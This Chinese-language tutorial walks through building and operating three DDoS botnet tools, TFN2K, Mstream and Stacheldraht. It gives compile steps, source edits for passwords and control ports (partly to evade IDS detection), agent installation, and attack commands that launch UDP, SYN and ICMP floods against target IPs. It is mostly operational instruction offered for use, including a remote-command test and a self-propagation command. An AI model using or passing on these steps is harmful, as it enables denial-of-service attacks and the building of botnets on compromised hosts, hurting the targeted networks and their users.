什么是TFN2K?
TFN2K 的作者是著名的德國黑客mixter.
http://mixter.void.ru/papers.html
TFN2K通過主控端利用大量代理端主機的資源進行對一個或多個目標進行協同攻擊。當前互聯網中的
UNIX、Solaris和Windows NT等平台的主機能被用於此類攻擊,而且這個工具非常容易被移植到其它系統
平台上。
TFN2K由兩部分組成:在主控端主機上的客戶端和在代理端主機上的守護進程。主控端向其代理端發
送攻擊指定的目標主機列表。代理端據此對目標進行拒絕服務攻擊。由一個主控端控制的多個代理端主
機,能夠在攻擊過程中相互協同,保證攻擊的連續性。主控央和代理端的網絡通訊是經過加密的,還可
能混雜了許多虛假數據包。整個TFN2K網絡可能使用不同的TCP、UDP或ICMP包進行通訊。而且主控端還能
偽造其IP地址。所有這些特性都使發展防御 TFN2K攻擊的策略和技術都非常困難或效率低下。
如何使用TFN2K?
--------------
我的使用環境:Linux
1, 解壓
tar zxvf tfn2k.tgz
2, 修改
a. src/Makefile
如果你的系統是linux系統,不需要做任何修就可以, 如果你想生產Windows下的代理端,需要做
一 些修改,但是我編譯后的文件在Win2000 & WinXP下出錯。
b. src/ip.h
注釋掉以下部分,否則編譯出錯。
3,編譯
a. cd tfn2k
make
或者:
b. cd tfn2k/src
make
在提示設置密碼后,會生成 tfn 和 td 兩個文件,其中 tfn 是控制段,td 是守護進程。
4, 安裝 td
自己去安裝吧,需要root權限。
5, 攻擊
a. 編輯一個文本文件,將安裝了 td 的機器的ip地址添加進去, 格式為:
ip
ip
...
...
b. 測試代理端(可選)
./tfn -f host.txt -c 10 -i "mkdir /tmp/test_TFN2K"
檢查安裝了 td 的機器是否存在 /tmp/test_TFN2K 目錄
c. ./tfn 列出命令的格式和參數
./tfn -f host -c 4 -i 1.1.1.1 對1.1.1.1發動 UDP flood 攻擊
######################### Mstream ##############################
mstream的源程序共有兩個文件:master.c 和 server.c
其中server.c用於生成agent端程序server, master.c用於生成控制端程序 master.
簡單使用流程:
client(s)-->handler(s)-->agent(s)-->victim(s)
clent: attacker所在主機
handler: 運行 master 程序
agent: 運行 server 程序
victim: 被攻擊主機
1, 修改源程序以符合自己的要求
注: 修改口令能防止自己的agent被濫用, 修改控制端口利於躲避IDS的探測.
server.c
-----------------------------
#define PASSWORD "pssword"
#define SERVERFILE ".sr"
#define MASTER_TCP_PORT 6723
#define MASTER_UDP_PORT 9325
#define SERVER_PORT 7983
#define MAXUSERS 3
#define USED 1
#define AUTH 2
#define max(one, two) (one > two ? one : two)
...
....
-------------------------------
其中比較關鍵是:
#define PASSWORD "pssword" 將"password"替換成你自己的密碼
#define MASTER_TCP_PORT 6723 和 #define MASTER_UDP_PORT 9325 是設置控制端口需要和master.c中
一致.
master.c
---------------------------------------
char *m[]={
"1.1.1.1",
"2.2.2.2",
"3.3.3.3",
0 };
#define MASTER_PORT 9325
#define SERVER_PORT 7983
...
...
-----------------------------------------
char *m[]={
"1.1.1.1",
"2.2.2.2",
"3.3.3.3",
0 };
以上的ip地址要根據需要設置成你自己的.
#define MASTER_PORT 9325
#define SERVER_PORT 7983
以上端口要和server.c中的設置一致.
2, 編譯
gcc -o master master.c
gcc -o server server.c
3, 安裝
自己選擇合適的機器安裝master和server程序. 並運行.
4, 使用
a. telnet ip port # ip 為運行master的主機, port為編譯時設置的master_port
輸入編譯時設置的密碼后, 進入handler控制模式:
如下:
--------------------
# telnet 1.1.1.1 6723
Trying 1.1.1.1...
Connected to 1.1.1.1 (1.1.1.1).
Escape character is '^]'.
password
> help
Available commands:
stream -- stream attack !
servers -- Prints all known servers.
ping -- ping all servers.
who -- tells you the ips of the people logged in
mstream -- lets you stream more than one ip at a time
>
----------------------
命令簡介:
注:測試中我發現我這個版本的stream命令沒有效果,均使用mstream發起攻擊。
servers
顯示當前所有已知Agents
who
顯示當前已建立連接的用戶
ping
確認Agents的活動狀態。對所有已知Agents發送"ping",每收到一個"pong"回應
就報告用戶。
stream
針對單個主機攻擊,seconds指定攻擊持續時間。Handler將主機名解析成IP地址
並發送命令"mstream/arg1:arg1/arg2"到所有Agents,這里arg1是victim目標IP
地址,arg2是攻擊持續時間。
mstream
針對多台主機攻擊,seconds指定攻擊持續時間。Handler發送命令
"mstream/arg1/arg2"到所有Agents,這里arg1是冒號分隔的victim目標IP地址
列表,arg2是攻擊持續時間。
quit
終止Attacker到Handler的連接
b. > mstream 123.123.123.123 60
對主機123.123.123.123發動60秒攻擊
> mstream 1.1.1.1:2.2.2.2:3.3.3.3 60
對多台主機同時發起攻擊
######################### stacheldraht ##############################
Stacheldraht攻擊網絡由一個或多個主控程序("mserv.c")和大量的代理程序("leaf/td.c")組
成,同時還有用於提供加密功能的網絡連接和通訊程序("telnet.c/client.c")。一個典型網絡結構如
下:
攻擊者-->主控端-->代理端-->受害者
1, 解壓
# tar zvfz stachel.tgz
# cd stacheldrahtV4
# ls -l
total 136
-rw-r--r-- 1 root root 13232 Aug 25 1999 bf_tab.h
-rw-r--r-- 1 root root 6597 Aug 25 1999 blowfish.c
-rw-r--r-- 1 root root 1291 Aug 25 1999 blowfish.h
-rw-r--r-- 1 root root 1276 Feb 5 2000 config.h
drwxr-xr-x 2 root root 4096 Dec 13 11:15 leaf
-rw-r--r-- 1 root root 167 Sep 16 1999 Makefile
-rwxr-xr-x 1 root root 46244 Dec 13 10:12 mserv
-rw-r--r-- 1 root root 39685 Dec 13 11:01 mserv.c
drwxr-xr-x 2 root root 4096 Dec 13 11:08 telnetc
-rw-r--r-- 1 root root 3089 Aug 25 1999 tubby.h
2,修改源代碼(注:行數僅供參考)
a、stacheldrahtV4/leaf/control.h
下述部分需要注釋掉
-------------------------------------------------------
12
b、端口:
下面三個程序的端口要設置對應,即mserv.c的MSERVERPORT和COMMANDPORT要和td.c、client.c對應
。
密碼:
本部分比較關鍵,很多在編譯完成后用clinet連接主控端的時候不知道口令, 因為口令是用3DES加
密后放在
mesrv.c 的 24 //#define SALT "dRFWfIGlF0zrE" , "dRFWfIGlF0zrE"就是加密后的口令. 它
是用口令的明文和client.c中的
"zA" (175 strcpy(result,crypt(password,"zA")):)經過3DES加密后的結果。
因為流傳到你手中的源代碼幾乎肯定是被人修改過的, 多以我們需要重新建立自己的密碼。可以用
下面的代碼:
crypt.c
--------------------------------------
#include
#include
int main() // int argc, char **argv)
{
char *input = "11111111";
char *salt = "zA";
printf("%s ", crypt(input, salt));
return 0;
}
----------------------------------------
# gcc -lcrypt -o crypt crypt.c
# ./crypt
zAj9s/lEcOIC. //此為密碼明文11111111和zA加密后的密文
將密文"zAj9s/lEcOIC."替換mesrv.c 的"dRFWfIGlF0zrE"(24 //#define SALT "dRFWfIGlF0zrE")
注意""需要保留. 此時編譯后的密碼為"11111111" 。
td.c
-----------------------------------------
38 -
39 #define MSERVER1 "10.2.0.100"
40 #define MSERVER2 "192.168.0.84"
59 #define COMMANDPORT 65513
mserv.c
-------------------------------------------
23
25 #define SALT "zAj9s/lEcOIC."
26
27
28 #define MSERVERPORT 65512
37 #define LOCALIP "10.2.0.100"
41
42 #define COMMANDPORT 65513
client.c
-----------------------------------------------
24 #define MASTERSERVERPORT 65512
25 #define timeout 10
175 strcpy(result,crypt(password,"zA"));
3、編譯
分別在3個目錄中運行make后,生成了文件mesrv、clinet和td。
4、安裝
將client和mesrv安裝到你需要(能夠)安裝的機器,並運行。
5、使用
# ./client 1.1.1.1 //安裝了msecrv的機器的ip
[*] stacheldraht [*]
(c) in 1999 by randomizer
trying to connect...
connection established.
--------------------------------------
enter the passphrase : 11111111 //我們設置的密碼是"11111111"
--------------------------------------
entering interactive session.
******************************
welcome to stacheldraht
******************************
type .help if you are lame
stacheldraht(status: a!1 d!0)> //提示的"a!1 d!0"表示當前有活動和停止的代理端主機數量
stacheldraht(status: a!1 d!0)>.help
available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .msort .mping
.madd .mlist .msadd .msrem .distro .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .showalive
--------------------------------------------------
stacheldraht(status: a!1 d!0)>
使用命令如下:
.distro user server
通知代理端程序使用"rcp"命令將其自身在主機"server"以"user"帳號安裝並運行。
.help
顯示幫助信息。
.killall
殺死所有活動的代理端程序。
.madd ip1[:ip2[:ipN]]
添加IP地址到攻擊目標列表中。
.mdie
向所有代理端程序發送"die"請求。
.mdos
啟動拒絕服務攻擊。
.micmp ip1[:ip2[:ipN]]
啟動針對指定主機的ICMP flood攻擊。
.mlist
列出當前正被進行拒絕服務攻擊的主機IP地址。
.mping
測試所有的代理端是否仍在活動。
.msadd
添加新的主控端主機到列表中。
.msort
排序輸出已停止/正活動的代理端。
.mstop ip1[:ip2[:ipN]]
.mstop all
停止指定IP地址或所有的攻擊。
.msrem
從列表中刪除一個主控端主機。
.msyn ip1[:ip2[:ipN]]
啟動對指定主機的SYN flood攻擊。
.mtimer seconds
設置攻擊持續時間。
.mudp ip1[:ip2[:ipN]]
啟動對指定主機的UDP flood攻擊。
.setisize
設置ICMP攻擊包大小(最大:1024,缺省:1024)。
.setusize
設置UDP攻擊包大小(最大:1024,缺省:1024)。
.showalive
顯示所有“正活動”的代理端主機。
.showdead
顯示所有“已停止”的代理端主機。
.sprange lowport-highport
設置SYN flood攻擊的端口范圍(缺省為0-140)。